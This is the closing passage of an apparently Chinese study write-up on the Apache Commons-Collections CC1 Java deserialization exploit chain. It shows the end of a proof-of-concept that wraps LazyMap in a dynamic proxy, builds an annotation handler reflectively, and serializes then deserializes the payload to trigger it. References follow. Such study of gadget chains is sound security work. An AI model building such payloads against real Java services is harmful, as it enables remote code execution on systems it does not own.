Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o=constructor.newInstance(Retention.class,mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}

至此CC1二战完成,主要还是弥补了第一次分析的时候的一些没弄懂的地方,二战了以后基本上所有点都以及理清楚了

参考文章

CommonCollections1反序列化利用链分析

P牛java安全漫谈